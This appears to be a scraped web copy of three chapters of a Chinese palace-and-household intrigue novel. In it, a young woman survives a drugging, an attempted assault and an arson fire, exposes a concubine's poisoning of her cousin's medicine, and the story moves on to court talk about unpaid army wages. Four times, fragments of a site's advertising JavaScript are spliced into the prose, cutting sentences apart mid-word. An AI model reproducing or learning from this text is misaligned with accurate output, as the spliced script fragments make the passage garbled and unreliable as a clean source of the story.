“姐,我挨打惯了,用的药都是单独配的,你用了肯定会很快好的,你还没嫁人,身上要是留了疤……这多不好啊,你放心,这个用了,肯定不会留疤的。”荆凌筠可怜巴巴地看着姐姐消瘦的脸,越发觉得愧疚。 她落水两次,脸上的黄芪粉掉得差不多了,脸上黄白斑驳,显得有点滑稽。 “我知道你是好心……”只是少爷啊,你这好心真的会害死我的。 为了不打消孩子的积极性,荆楚歌没说后半句话。 或许这个孩子是她如今在荆府唯一的牵挂,这孩子学业差,被每每夫子留学,舅舅那儿必然少不了一顿毒打。 望子成龙,却也无济于事。 夫子也不忍心看见孩子这般,只得劝说荆乔松,隐晦地说,这孩子天赋着实普通,纵然打死了也无力回天。不久这位夫子就告老还乡了。 那时候荆楚歌虽没正经上过私塾,但总能偷摸着给荆凌筠看课业,久而久之,荆凌筠便十分敬佩这个姐姐,有了这个榜样,他不似以前那样偷懒,屋里的人都以为这孩子转性了,虽然平庸,但和以前相比不知好了多少。 “你身边也没有服侍的人,一个人怎么洗浴上药呢,我给你拨个人来吧,好能照顾你。” 荆楚歌摇了摇头,拒绝道:“我一个人惯了,不要在我这里费心,都是无用的。” 她要远走高飞了,飞得远远的。 绕过爬满黄绿色短叶的花墙,稀稀落落还长着常青藤。一阵风拂过,只听得见树叶缓缓摇动的声音。 只是在这个隐秘的角落,正有两人站在墙根的阴影里。 “主子,那荆家小姐?”侍卫张嘴欲问仔细,却看见自家主子脸上意味深沉的模样,不由得收敛起自己的主意来。 “云青天,你说……我是不是该杀了她呢?”他眼神里带着凉薄灿烂的笑意,与生俱来的威严似是无可挑剔的铠甲。 “哦。”云青天认真地思考了会儿,最终点了点头。 解决这样的弱女子,杀人灭口顺带隐匿踪迹。荆楚歌无声无息地消失在这个世界,这些只需要在一柱香的时间里完成。 “等她到了王府,你亲自盯着她。我总觉得她很熟悉,却又说不上来哪里熟悉。”他偏头想了想,是很认真的思考。 云青天仔仔细细打量着自家主子的脸,又努力回想了一下那位荆小姐的脸,道:“那确实熟悉,她像极了王爷母家的……” 他说话说一半,看见主子脸上几乎凝结成霜的面色,琉璃般的眼睛里流转过一丝若有似无的杀意,顿时停住了嘴,规矩板正地跪下请罪:“殿下,属下失言了。” 秦王饶有兴致地朝四周看了一眼,懒洋洋地负起手,道:“那还是真是稀奇事,我倒是看看这女人能翻出什么浪来。” 夜半,荒僻深林处的野鸡惨叫几声,月亮惨白地挂在半空,枯瘦的枝头架住弯刀似的月亮纹丝不动,霜露下得早,冬夜难熬,只得早早上塌,燃起鎏金炉子里的白银木碳。 偏院里刚吹了灯,荆楚歌还未躺下,正穿戴整齐意欲出走,此时府上正有巡兵,待子时一过,她便背着包袱远走高飞。 她几乎没什么好收拾的,母亲没给她留什么难带走的,原本有一块掌心大的玉佩,前几日还给婆子搜刮了去,不知道当到哪个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 铺子里换胭脂粉去了。 荆楚歌用黑布蒙上脸,在床脚的脚踏上蹲着,她背上原烫得厉害,只不过用上了荆凌筠的金创药着实好了许多。 她挨打的日子也不少,只是这回荆乔松确实上心了,生怕她此伺候不周惹了六殿下不高兴。 打更人已经走过一圈了。 室内一静。 荆楚歌准备起身,腿脚却突然一软,不正常的酸麻感席卷而来,她半边身子都失了知觉。 她摔倒在地,无力站起,那一刻她似乎脑海里浮现过许多从前的画面,甚至是不久前的画面,如水面浮花慢慢流淌。 当那些画面积攒到某一个临界点,荆楚歌脑子里好像有什么东西嚓的一下被点着了,种种场景在她的脑海里打碎重建,最终的画面定格在寒天雪地的朱门前,她与母亲跪在雪中,佝偻着背乞求荆府的收留。 下人们驱逐她们,而她早已忘了自己曾是高门贵女。 所有的尊严都不复存在。 “既已嫁到别家去,死也是别家的鬼,你这样败坏门风的家伙不要玷污了荆家的门楣!” 一盆冰水兜头浇来,差点浇灭了母亲心中求生的焰火。 荆楚歌呕出一口浓血,血色发黑,像是积郁已久的旧疾。她踉跄着扒住床沿,受力不稳的身体砰然坠地,眼前恍惚看见推门进来的两道人影。 胸口发烫,她正欲揭开胸领,却听见有人接近,这院子偏僻,平日都没什么人来,更何况半晚上,荆楚歌甚至以为自己出了幻觉。 “爹,我们……给老爷知道,我们会被赶出府的。” “我们是得了命令来的,你怕个屁!真没出息,活该娶不上媳妇!” “这小蹄子又不得宠,老爷什么时候把她们母女放在心上,一个败坏门风的女人带着野种回娘家,也就老爷夫人心善,把她们收留着。” “话是这么说,但前厅那边说,她被秦王府相中了,到时候要去给秦王做妾的。” “是她自己水性扬花!就算验身的人验出来不清白跟我们又有什么关系,谁知道她跟什么人睡过,多少人睡过……你□□里装的什么东西,是不是男人啊,老子真是老驴生兔子,一代不如一代!” 老周管事一心想睡荆楚歌,一想到和自己睡作一铺的老娘们是个早年丧夫的老寡妇心里就不痛快,脸上擦多少脂粉都盖不住橘子皮似的皱纹。 荆楚歌想动一动自己的胳膊,发现还是没有力气。她心中一沉,慢慢回过味来这前因后果,不由觉得心中一片空荡的怅然和无尽的绝望。 在一番挣扎之间,荆楚歌嗅见浓烈刺鼻的火油味。 火油! 砰的一声,一片鲜艳的火从门缝里窗户里卷了进来。晚间还有徐徐凉风,把獠乱的火焰吹得更高,蔓延速度极快,像是可怖伸出魔爪的巨兽。 不是吧,被这父子俩侮辱清白还要被放火焚尸? 荆楚歌只后悔自己怎么不早点走。 5. 无人幸免 周家父子俩被吓得抱头鼠窜,一开始看着小妮子倒地上还挺开心,觉着不费吹灰之力就能将其吃下肚,哪知道还未动手就发生了这样的意外。 “走水了!”老周管事一边惨叫一边哇哇大哭起来。 “都怪你,你这个老不死的,还拖累我在这儿!人也没睡着,命也要丢在这儿了!” “快走!快走!别管她了!”老周管家拔腿就跑,顿时整个逼仄的院子响起了此起彼伏的惨叫声。 伴随着他俩剧烈的动作以及震天的嘶吼声,屋内的火舌越发猖狂,像巨兽张开血盆大口,吞尽所有,将其燃尽成灰。 “姐!阿姐!”荆凌筠冲进门里,他刚从被窝里爬起来的,穿着睡衣,二话不说扛起奄奄一息的姐姐,“我来救你了,你别死啊姐!” 他屋里刚灭灯,就听见房廊外的守夜丫头说西北角的院子突然起了浓烟,像是那边院子走了水。 荆凌筠不由得多想赶紧披了轻裘就往西北角赶,一路上磕碰,别说轻裘了,连鞋都跑掉了一只。 “你……你……”荆楚歌几次想张嘴,却被浓烟呛住了,气管火辣辣的疼,像被无数小刀凌迟缓割。 长发被火燎焦,瞬间化作灰尘。 “荆凌筠!” 火势太猛,荆凌筠被房上的木头砸中,他反应快,生死酌情的瞬间把荆楚歌抛了出去。他结结实实挨了一下,朽木上的火花四溅,差点燃了他的下衣摆。 前门被落下的木梁堵死,身后已是冲天火海。 荆凌筠虽学业不成但身手不俗,瞅准时机跳上摇摇欲坠的房梁,一脚踩住身下开始摇晃的木梁,朝着破开的天窗飞去。 屋梁窸窸窣窣掉着带着火星的碎屑,荆凌筠被滚烫的火星砸得七荤八素,腿被砸伤血流如注,再次被摔倒在地。 木质房子年久失修,隆隆一声巨响,瞬间倒了一半。 荆楚歌不甘就死,挣扎着从地上爬起来,发现好像恢复了点力气,于是她撕开碍事的下摆,四面都是逼人的火,求生机会渺茫,她半刻都不得喘息。 半空垂下一根银白的细丝,荆楚歌拽起地上的荆凌筠。 背上,掂了掂。 “姐!别管我了!”荆凌筠趴在荆楚歌的背上快要哭出来了。 “你闭嘴,少给我惹麻烦!”荆楚歌深吸一口气,灼热的空气让人快要窒息。 随即丝索绷直,将荆楚歌两人拉了上去。 破出天窗的那一刻,冷风猎猎,灌入荆楚歌的鼻腔,虽空气里还带着火油味,但相比于下面的窒息灼热,不知道好了多少倍。 荆楚歌赶紧多吸两口气,眼泪都要淌下来了。 只见屋顶上有一人,端正盘坐,披着灰鼠紫金轻裘,那人如清风明月,却又比清风更明朗,又比皎皎明月更胜一筹。 东海稀有的宝珠都要在他面前黯然失色,衣袂翩翩,在风中自然散开,令人想起天上流淌千年的万里星河。 其实荆楚歌不太清楚这个人在屋顶上待了多久,他又是为什么会出手相救。 “快下去吧,一会儿屋顶该塌了。”男人缓缓开口,如月下古亭松清泉石上流,竟有如此温淳的音色,令万物都要失色。 话说回来,这真是实用的劝诫。 火场外的人见这么大的火势,根本不愿靠近,加上这样破烂的小院,塌了就塌了,烧作白地也无所谓。 人们仰头望去,深黑的夜里两道光影越过天际如拖拽银尾的流星,直接越过了肆意横行的火场。 轰—— 屋顶顷刻间塌成一片废墟。 “哎呀……痛!”荆凌筠被慢悠悠地安置到地上,正是这华服男子搭手救的。 荆楚歌顾不得心里的芥蒂,赶紧俯身查看荆凌筠的伤势。 “阿姐,你……我腿是不是要断了,好疼。”荆凌筠哀声哭嚎。 “你别哭,我给你看看。”荆楚歌语气和缓,手上的动作却没停,一顿雷厉风行的动作就把他小腿上的布料撩了下来,腿一晃一晃的,果真是脱臼了。 荆楚歌固定住他的大腿,用力握住掰住小腿朝反方向一拧,荆凌筠再次发出惨绝人寰的惨叫。 确定荆凌筠死不了残不了,她好不容易地松了口气,回头却发现周身空无一人,那人怎么来无影去无踪的。 半夜三更,这个陌生男人为什么会出现在一个孤女常年失修的破院子里。 他们素不相识,为什么他会出手相救? “哎呀……哎呀,你们,你们怎么能做出这样的事呢,这是有悖伦理的事啊……真是羞死人了……啊,大家都别看了!”一声娇俏的女声惊慌失措地唤醒了地上死狗似的两人。 荆楚歌脑子嗡嗡直响,劫后余生并不完全是喜悦。 无尽的阴谋算计正等着她。 “夫人!你看!”年轻娇俏的女人用涂满鲜艳蔻丹的手指,颤颤巍巍地指向地上的二人。 女人二十出头,正是曼妙的年华,在荆府颇为出头,是荆老爷最宠爱的第九房妾室。 地上的两人,一个是外甥女,一个是自己的亲儿子,衣衫不整地半躺在地上。一人衣摆被撕得稀碎,胸口的领子也松松散散;另一人穿着睡衣,蓬头垢面的,被烟熏火燎的汗糊了一整脸。 荆凌筠怎么会在这里,还整成这副模样……荆夫人心中一阵恶寒,吓的一身冷汗不知道是因为儿子差点死在火场里,还是他看见自家不成器的儿子如此有伤风化地躺在大庭广众之下。 “你在做什么!小野种!居然想谋害我的筠儿,他可是荆府的嫡公子,你好大的胆子!”荆夫人扑上去,歇斯底里地拽住对方烧焦的半截头发。 她第一反应就是维护自己的亲儿子,如此不堪的场面落入众人眼里,要是有嘴不严实的,明日定要闹得全城都沸沸扬扬。 荆夫人心中无比愤恨,都是那小姑子生的祸事,早早死了也罢,竟还留了这样一个孽根。 都到这个时候了,还盯着这些无用的。荆楚歌冷笑。 荆楚歌扬手就是一巴掌,荆夫人脸上不一会儿就浮现出清晰的指印,她冷眼瞧着这些围观的人,着火的围墙外竟站了这么多人,一人一口唾沫星子火就要灭,结果他们就这么看着。 这是等级森严的郢都,以下犯上是大不敬。 “你是要给你的好儿子收尸么,哪只眼看见我谋害他的,若是没我你儿子早就烧得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灰都不剩了。”荆楚歌嗤笑,她揪着荆夫人的衣领,扔垃圾一般将她甩到一边,好像是生怕弄脏了自己的手,眼神缓缓划过荆夫人惊慌失措的脸庞,“您这时间掐得分毫不差,怕不是给人卖了还替人数钱吧。” “蠢货。”荆楚歌傲慢地睥睨着围观看戏的众人。 今晚需要求证的真相太多。 周家父子是得了谁的命令,谁放的火……刚才救他的人是谁? “夫人,夫人您好苦的命啊……都是这贱人的错!可怜的小少爷,何时吃过这样的苦,赶紧找个人牙子把她发卖了。” 九姨娘咬牙切齿着,面上却一派柔软甜腻的心疼,搀扶着荆夫人冷不丁对上荆楚歌那双冷冽的双眼。 “九姨娘好兴致,特意陪夫人来这边偏院的吧,生怕不能亲眼看见我身败名裂,顺带拖着荆少爷下地狱。”荆楚歌拍了拍手上的灰,顺便摸出还剩了一小半的金创药。 “你少含血喷人!你身败名裂干我何事!小娼妇生的野种,你以下犯上,我要到官府里告你!”九姨娘气得要跳脚,只是她现在贵为主子,定然不能那样没个轻重。 荆凌筠不省人事,但是荆楚歌一脚下去,毫不客气地将他踢得清醒了大半。 “阿姐!阿姐别踢了!”抱头痛哭的荆凌筠哀声求饶。 “这个你可认得?”荆楚歌微微俯身,伸手露出手心里的金创药,正是荆凌筠送来的那瓶。 “我……我认得,这是我房里的金创药,是单独配的药。”荆凌筠满脸疑惑,他看着并不机灵,碰上这样的祸事早已吓得丢了三魂六魄,此刻木讷地瞅着荆楚歌那张脏兮兮的脸。 “好,不是你。”荆楚歌一脚迈开,她捏紧手里的药瓶,披头盖脸地砸进九姨娘的怀里。 九姨娘刚稍稍镇定了些,却又被荆楚歌吓得花容失色。 荆楚歌向来老实惯了,欺负了也就欺负了,和踢在棉花上没什么两样,近几日却变了性情般,莫不是染上了什么邪祟? “别装,没砸破你的脑门你就该跪下来感恩戴德了。”荆楚歌冷脸抱胸,看着不远处开始骤然繁忙起的灭火现场,心中冷笑起来。 人死了倒是知道埋了,如此虚伪,真是令人不爽。 “什么脏东西!赶紧拿开,别弄脏了我的衣裳,我这件可是玉华楼出的孤品,十两金子都买不到,你弄脏了赔得起么。”九姨娘扯了扯裙子,娇花一般的脸庞令人顿生怜爱,她偏过身,躲那药罐躲得远远的。 荆夫人脸色青一阵白一阵可谓是无比精彩,她明里暗里暗示了多久,荆老爷都不愿意为她买一件玉华楼的衣服,还说她年纪大了又不是十七八的小姑娘,别人家夫人的温婉贤良学不到,勤俭持家的本事更学不到。 “这个金创药最好去府上的药房里查一下,配方,配制,经过哪些人的手,务必将里面的成分查清楚。托小少爷的福,我用过一次,麻沸散过量,长期使用必会使筋骨老化,最后稍微使点劲就会筋脉尽断半身不遂。”荆楚歌也知道没人会听她的,于是看向一旁冷色铁青的荆夫人,“看是哪个胆大包天的,觊觎荆府嫡子的地位,用这样歹毒的手段谋财害命。当然若是无人在意,那便权当我没提过。” 6. 后院风波 荆夫人发觉自己母子两人被暗算,怒从心中起,她狭隘的心中闪过无数张脸庞,荆夫人立马吩咐自己房里心腹,查实荆楚歌的话是否属实。 听见荆楚歌的话,九姨娘站在冷风里踌躇难安:“放你娘的狗屁,这药是你用过的,谁知道是不是你自己放的,自导自演,你莫不是怀恨在心,想要报复我们,特意在荆府里搅浑水!” “我为什么要报复你们?”荆楚歌问。 九姨娘愣了愣。 相信她停住的那几秒,她也想起了自己从前奚落荆楚歌的场景,让她在祠堂罚跪,让她受了罚晚上只能吃厨房里的泔水吃食,骂她是娼妇生的野种。 她肆无忌惮地羞辱无依无靠的荆岫云,嘲讽这个毫无用处又给门楣蒙羞的女人是多余的存在。 她心满意足地用尖锐的指甲戳破荆楚歌的额头,在老爷面前利用她的卑贱可怜装潢自己的善良。 “你说,我为什么要报复?”荆楚歌步步紧逼,顶着冷淡冷漠的脸,十分认真向九姨娘再次发问。 “好,那你说出这番话是什么意思,谁要害少爷,整个荆府谁最尊贵,他纵使是小辈,却也是府里最金贵的主子,你口出狂言,真以为谁都跟你一样有胆子以下犯上?” 荆楚歌接着就开始收拾九姨娘,她不出手则已,一出手便掐住九姨娘的双颊,“九姨娘,真相如何,你应该多等些时日,我管不了这么多,自有人去查明真相。” 九姨娘出现在这里并非偶然,她平日与荆夫人并不亲近,今天一反常态,腆着脸伺候着主母,无外乎是有利可图。 原本她只是吩咐了周家的过来,叫上荆夫人就是想将这几人捉奸在床,没想到还蹲到更大的丑闻。 当她看见荆楚歌和荆凌筠狼狈不堪地出了火场,正觉得这是千载难逢的机会,她若栽下一根刺,以荆乔松多疑的性子,父子离心只是时间问题。 九姨娘愉悦地翘了翘自己的玉葱般的兰花指,语气轻薄,好像是笃定了荆楚歌定会被赶出府去,“你还是多操心自己吧,如今自身难保,还来操心旁的……你一个野种,想勾引少爷,就不怕被老爷夫人识破,将你赶出府去。” “夫人,火灭了,院子里还有活的……”灭火的小厮将周家的两人押到众人跟前。 周家这对父子吓得惊魂未定,狼狈滑稽,浑身哪哪儿都软,半匍匐在地上。 “好得很。”荆楚歌拍了拍手,脸上还带着微笑,走过去拍了拍周老管事的肩。 寒光一凛。 冷光映射的刀赫然插进地里,那刀锋离周老管家的□□仅分寸间,差一分半毫,这刀就要削掉周老管事的子孙家伙。 “谁派你们来的,说。”她动作利落干脆,脸上挂着标准的微笑,“侵犯本朝王爷未过门的妾室,这是死罪,若是想减轻刑罚,最好如实交代,夫人和姨娘都在这里,自会给你主持公道。” “少诈唬人了!你这贱蹄子不守妇道……” 荆楚歌冷淡坚硬地站在两人跟前,嗖嗖两声衣袂带风声,把周老管事两巴掌扇得口鼻直喷鲜血,“不说实话,你死都不知道自己是怎么死的,和你儿子死到临头了还嘴硬。” 在等级森严的郢都,荆楚歌多少也算半个主子。周老管家想反抗,不知是吓狠了还是怎的,竟被一个小姑娘的手劲压得死死的。 荆楚歌寸步不让,她拎着周老管家的领子,朝着他儿子狠狠砸去,“你难道想将荆家御下不严、漠视法规的丑闻四处宣扬吗?你倒是半截身子入了土,死不死的你也不在意,可你家的犬子——” 他儿子猛然推开栽倒在自己身上的周老管家,暴躁道:“都是你的主意!你活得不耐烦了非得扯上我!做什么听九姨娘的话,她比我小几岁,你听她的都不听我的!说不定这把火就是她放的,她要弄臭荆楚歌的名声,让我们做这个马前卒,你这个老东西想不明白还非得带上我。呸,贱人不得好死。” 周老管家的儿子已然缴械投降,“她给的五两纹银还在我爹卧房的床底下放着,夫人小姐明鉴,真的不关小人的事,是他受了姨娘的银子!” 九姨娘一听,瞬间火冒三丈,她心急如焚,盛怒之下看见一旁泰然自若的荆楚歌,只觉脑子里热血一冲,等反应过来已经冲上去要扇对方耳光了。 荆楚歌如今也没那么好的耐心,见迎面冲来的九姨娘抬手又是一巴掌。 今晚她是半点委屈都不受的,多打一个少打一个有什么区别? “你这目无尊长的野种,你还真当自己是主子……”九姨娘觉得自己不会呼吸了,没想到这周家的两个嘴如此不严实。 她捂着脸,恶狠狠地盯着荆楚歌的脸。 荆楚歌歪歪扭扭走到她跟前,偏偏气势压人,令人喘不过气,她一边走一边问,“九姨娘,此言差矣。我母亲曾是荆府嫡长女,当今圣上亲封的五品飞骑将军荆乔松的外甥女,我自有出处,由不得你如此白口诬陷。我若是野种,你当夫人老爷,我的舅舅和舅母是什么人,你可知造谣五品官家眷的罪名是什么?” “张口闭口的野种,你是何居心。仗着老爷的宠爱,你也不知天高地厚了么。”荆夫人严声呵斥,安排好了儿子后,她这才有心思听众人的说辞,“你瞧瞧自己做的都是什么事,毁坏小姐的名声,这样的事传出去,明日荆府所有未出阁的女眷都要悬梁自尽了!” 九姨娘意识到自己可能真的做得出格了,赶忙跪下,揪着夫人的裙角如泣如诉,“夫人,妾说的都是实话……妾从未做过这样的事,妾不知道周家的为什么这么诬赖我!定是那小野种……是荆楚歌使的坏!” “住嘴!国公爷在此处,你这贱蹄子说什么胡话呢。” 荆乔松及时赶到,他厉声制止着几位妇人快要爆发的骂战。 楚国公原本是跟着秦王、张家离开了的,不知为何又折返了回来,还问起了京中的布防图。荆乔松心中一喜,觉着自己果真有了价值。白日人多眼杂不便多说,夜晚突然造访定是秦王那边有亲昵话和他讲。 结果刚落座,就听说后院起了火。 荆夫人反应极快,她缓了缓铁青的脸色,赶紧朝众人行礼,起身便开始哭诉:“老爷,您可算来了……这院子里乱成一团,哪家的后院有这样的事,我实在是理不清了。” 荆乔松压低声音,“你做什么吃的,惊动了贵客,白惹国公爷的笑话。” 随后有小厮将前因后果讲与荆乔松听了。 荆乔松看见身旁表情寡淡如白水的国公,心头一紧,一掌将这小厮打翻在地,“不懂规矩的东西,还不赶紧退下!” “确实是后院的一些琐事,并没有什么不能听的。”他生怕与这些贵人产生嫌隙,一步步谨小慎微。 “看来是大人的家事,不便向外人道也,我也不便多停留。”国公爷披着一身月光白披风,这人晶莹剔透的,流光折射。随风摇曳,身上似有若无的白檀香味,他身形纤弱修长,弱柳扶风般立着。 国公爷看向站在不远处的荆楚歌,面色如常,如第一次见。好像方才救她于火场危难的并非同一人。 荆楚歌愣愣地看着他,他却是似笑非笑,如初见般开口:“小姐,您看着在下良久,难道也看着在下熟悉得紧,前世今生有过一段可歌可泣的缘分?” 他皮肤如珍珠明月般白皙,纵使在暗夜里,光影交 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 错依旧不折损半寸光辉。 这话就说得很没趣儿了,这不是正大光明的调戏么。 可荆楚歌明白,这人肯定是不愿意她多说一个他不爱听的字。 荆楚歌行礼,然后沉默。 荆乔松献上谄笑,生怕家里鸡飞狗跳的场景被国公记了不好的印象,“国公爷见笑,家眷后续的安顿还得靠着下官亲自操办,您吩咐的事明日下官铭记在心,明日下官定会将整理好的图册送到府上。” 看着国公爷离去的背影,荆楚歌松了口气。 “让你在院子里好生待着,安安心心待嫁很难么?”荆乔松卸下自己谄媚的面具,“我的姐姐,她是一个温婉贤良、谦让有礼的人,你偏偏长成了这样,行为粗俗,目无尊长,嚣张跋扈!这样的你以后在婆家怎么生活?出去了也是丢我们荆家的脸,要不是我们荆府帮衬,你定然是嫁不出去的。秦王能看上你,许是你母亲在天有灵,让你后半辈子不愁衣食。” 荆楚歌不动声色地将沾满血的手心在腰侧的衣摆上擦了又擦。 “你母亲从不像你这样粗鲁蛮横,她从前在郢都颇具盛名,是最得体的望族淑女……” 这下,荆府弃之如敝履的荆岫云变成了聚集人间所有美好品质的命门贵女。她完美可爱,温柔贤良,大家对她爱戴敬慕,因而不允许她这个世界上唯一的骨血丢人现眼,玷污她过往的名声。 荆楚歌眼神讽刺,皱着眉扬了扬袖子:“舅舅,也就是说,在你的心目中,我的母亲完美得无可替代,可您是怎么对她的,您还记得吗?” 明明为家族付出所有,名节她不在乎,身份她不在乎,举身下江南,只为江南孙家可以救助亏空成空壳的荆家。 到头来成了人人可以唾弃的破鞋。 “口口声声心疼小少爷,做的事却是恶毒至极!” 荆楚歌眯了眯眼,看见不远处的荆夫人正在发怒,她不是轻易发怒的人,看来是查出了一些不得了的东西。 荆夫人气得发抖,她万万没想到居然有人如此谋害自己的儿子,简直其心可诛,“你好生恶毒,我原本是觉得你进府的时间晚,全当你年纪小不懂事,说什么都信你,可你竟做出这样的事——我待你不薄啊!” 九姨娘的手伸到荆凌筠的跟前了,神不知鬼不觉地把这药下到他经常用的金创药里,用不了多久荆凌筠的身体会彻底废掉,文不成武不就,就算他是继承人,迟早也会被踢出局。 若是家里多了出息的庶弟,按照荆老爷、荆楚歌舅舅那薄情寡恩的性子,荆凌筠的结局显然易见。 荆楚歌是女子,用了这样的药很快就会体现药效,同等的药效下,要等荆凌筠发现了不对劲,那毒早便深入骨髓,只怕杏林转世也妙手难医。 荆夫人又对误打误撞救了她儿子的荆楚歌痛下杀手。若是没有这场火,那荆凌筠早就完了。 她看着地上抖筛似的女人,锋利如仞的唇毫不客气地缓缓吐出两个字。 “杖杀。” 九姨娘吓得瘫软,如烂泥滑倒在地,如今那件华贵非常的衣裳也沾上了肮脏的泥土,她转而向荆乔松求救,“老爷救命……妾是冤枉的!” 荆夫人指着她的鼻尖,恨声道:“人赃俱获,你还有什么好辩驳的。” 荆乔松吵得头疼,他摆了摆手,丝毫不怜惜地抽回衣摆,“后院的事均有主母负责,有冤情向她说去。” “荆楚歌,你不得好死!我做鬼也不会放过你!” 九姨娘尖锐刺耳的声音在后院里回荡,可是荆楚歌已经迈开脚离开了,今天出逃已然不可能了,她这会儿就想找个能睡觉的地方,凑合凑合后半晚。 7. 光影浮沉 在这一个看起来很平常的冬夜,各怀心事的人做着不同的春秋大梦。有的后院着火,扯着儿女情长的家长里短,有的院子有舞女以酒助兴,谈笑间暗流涌动。 铜灯明灭,光影浮沉。 马蹄声急促,阵阵入耳。后院看马棚的小厮正打着盹,酣梦中惊醒,连忙跑出值晚勤的瓦房给贵人牵马。 这人不走正门,怪得很。 但在这郢都中,眼线密布,人情关系攀枝错杂,细如密丝。 他习惯性地隐去身份和行踪,也是省了不少麻烦。 男人从容地走入内室,华光万千集于一身的楚国公面色淡淡如静水流淌,细细看来这人虽有玉人之姿,面上总浮沉着似有若无的病气。若是再能仔细些,就能看见他遮掩在宽大衣摆下的右手手腕上有一道刻骨的旧伤。那是一道残忍的瑕疵,幸而他惯用左手拉弓,不至于连弦也拉不开。 推开门,映入眼帘的场景奢靡又多情,秦王殿下孟询理所应当在主座,怀里抱着娇俏的少女,左右各立着两个轮番伺候。 国公爷见怪不怪地在殿下的右手边落了座,有女使要替他斟酒,却被他拦手挡住了:“下去吧,我旁边不需要人伺候。” 张记清含笑,这人不胜酒力,两三盏下肚就开始压不住面上的酒色,三分醉已是极致,他望向对面正对的国公爷,“承影兄,怎的,今日火气甚大,这些个女子碰不得你的衣袖?” 裴承影懒得同他计较,拂了拂袖,摸出新得来的象牙镶红宝石金钏,这小玩意精巧贵气,非寻常人所得,“听闻殿下府里要添新人,碰巧得了样金钏,我留着也是无用,倒不如赠予殿下,总比我得了的强。” 户部尚书李素要银子不给,要账本也不给,仗着在朝野资格老,软硬不吃。 国公本身就没想着今日定要见到真金实银,却不想临走时还给户部尚书塞了真金实银的小物件。 话是说的“小小敬意,不值几个钱,国公爷甭嫌弃了,笑纳了便是。”但光凭这件小玩意,抵押出去足足可以够二等军营整三年的吃住。 “倒是有心了,承影。”秦王从托盘里捻起那精致细腻做工奢贵的金钏,不由得发自内心感慨这李素的位置怕是许多人都眼馋,只奈何无人敢伸手接过。 张记清悠悠笑了起来,不似问罪却又有些咄咄逼人,“北边战事吃紧,与东面岭沙院的关系也不好处理,外患严重,里边也没好哪儿去,国公爷就拿这些糊弄咱们?” 裴承影端着酒,面不改色地撇清责任,“你也是知道战事吃紧,户部陈年老账都算不平整,钱自然是理所应当的都拿不出来。换而言之,拿出来了才是稀奇事,到时候满朝文武都朝他伸手要钱要债的,他还活不活了。张兄若是觉得这行当简单,不如明日亲自去李素府上拜访。” 户部尚书李素是东胶齐王从前的部下,齐王身后站的可是崔家,若不是看着往日崔家同裴家的交情,那大门一般人怕是连水也泼不进。 “你……裴谦,我不过是说了两句,你何必这样较真,究其根本又不是我等着银子下锅,” 裴承影嘲弄般勾起唇角,明晃晃的微笑温柔似春三月的阳光, “在太子门下,诸君可行许多方便,我一闲散游民,实在是力不从心。” 他在郢都中能玩在一块的人也不多,能与孟询一起多半是年幼时一起长大的交情。 孟询知道裴承影意有所指,当初他苦口婆心劝诫自己不要轻易卷入郢都的权力之争,但他非但没听还举身赴宴入了太子帷帐,如今算是后悔也来不及,他自知理亏叹了口气,道:“时局艰难,迫不得已罢。” 太子资质平庸,这是供认不讳的事实。但如今的世道立长的呼声远胜于立贤,王室凋敝,皇权受多方牵制。 景元十五年,也是大辰举都南迁的第十五年。 后来的史官记载,权臣环伺,门阀天下,皇室式微宛若江河之日落,但南渡之举却给皇权得以喘息的机会。此时的大辰国完成一定程度的统一,北至呼和山脉,东面俯瞰高昂山原,西及金昌首府与大漠遥遥相望,南至绵延千里、树林密布的白浪沙滩。 大辰皇帝将都城定于郢都,这并不是明智的选择,可他没有办法不这么做。依靠本地豪强和世家大族保住皇位,便只能长久地听人摆布。 皇室曾有人以命相博,不愿做傀儡便只能死。 反抗最终以失败告终,整座郢都都沉陷在一片血色的迷雾里,有人冤死,有人全族覆灭,雨下了整整一个月,阴雨连绵的郢都连同着千里之外的江南也受到了波及。 国公爷抿唇,将血色浅淡的唇咬得越发苍白,手心的一枚小小的羊脂玉佩环也抛到木案上。 马上见春,幸而今年战事将歇,边境相对太平,林林总总的打了一些虚头巴脑的仗,没什么伤亡损失。可新的一年再见不着军饷,北方镇守边境抵御匈奴的将士就要喝西北风了。 北面的明光营从前是老国公带出来的,从前的精锐部队如今被老伤病残填充着,从前征战白狼王的辉煌不复存在。 张记清冷哼: “可见太子养着影卫也是吃力的。” 裴承影似是而非地点了点头,却又没有继续说下去。 孟询摆了摆手,让身边的歌女都散了出去,“情理之中的事,此步棋过于凶险,可若是不抓紧这次机会,谁知道过了明天又会怎样呢。” 裴承影并非不认同,只是他认为如此不值当,果不其然没过多久他的好兄长太子殿下,把象征地位的影卫拨给了孟询。 这本身是荣宠光耀的事,又能体现兄友弟恭,面子上着实体面非常。可结合当下群狼环伺的背景看,太子将影卫转让给自己就的幼弟就显得不那么合适了。 空有名头,没有银子,这样的事终究是竹篮打水一场空,白给他人作了嫁衣。孟询有闲钱就出钱,养着太子名下的影卫。 裴承影轻笑,他长久地置身事外,领着皇粮做一些分内之事,“我也是带过兵的人,虽时间不长,但我深知军队缺穿少粮是多恼火的事,我不希望我的兵吃不饱穿不暖,死在外边没人收尸。我要的也不多,保证从前明光营的待遇,仅此而已。” 老国公爷的爵位不是像众人想象中那样简单传到裴承影手中的。他的父亲是赫赫有名的战将裴仲安,均是年少成名,迎娶郡主封了国公后上交了兵权,这个世道扬文 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抑武,一晃就是几十年。再要裴仲安上西北战场,人已经老了,加上多年不曾带过兵,这场硬仗毫无悬念地惨败收场。最终,老国公爷夫妻两人西北抗击敌军不利,吃了败仗最后没能回来。 与此同时,与他父亲的经历截然相反的是裴承影北上的封神之战,这初出茅庐的小将年轻气盛,关关大捷。 国公爷没上过战场没横扫过敌营没屠过城,这样散漫着也就算了,偏偏他快马奔驰,一路斩敌,擒获桀骜凶猛的匈奴亲王的兄弟,收回了北方腹地。 这样的人怎么会甘心屈居人下,做一个风流浪荡子呢? 裴承影力挽狂澜,将父亲差点削去的爵位保住,军功抵过,这才保住了楚国公府的根基。 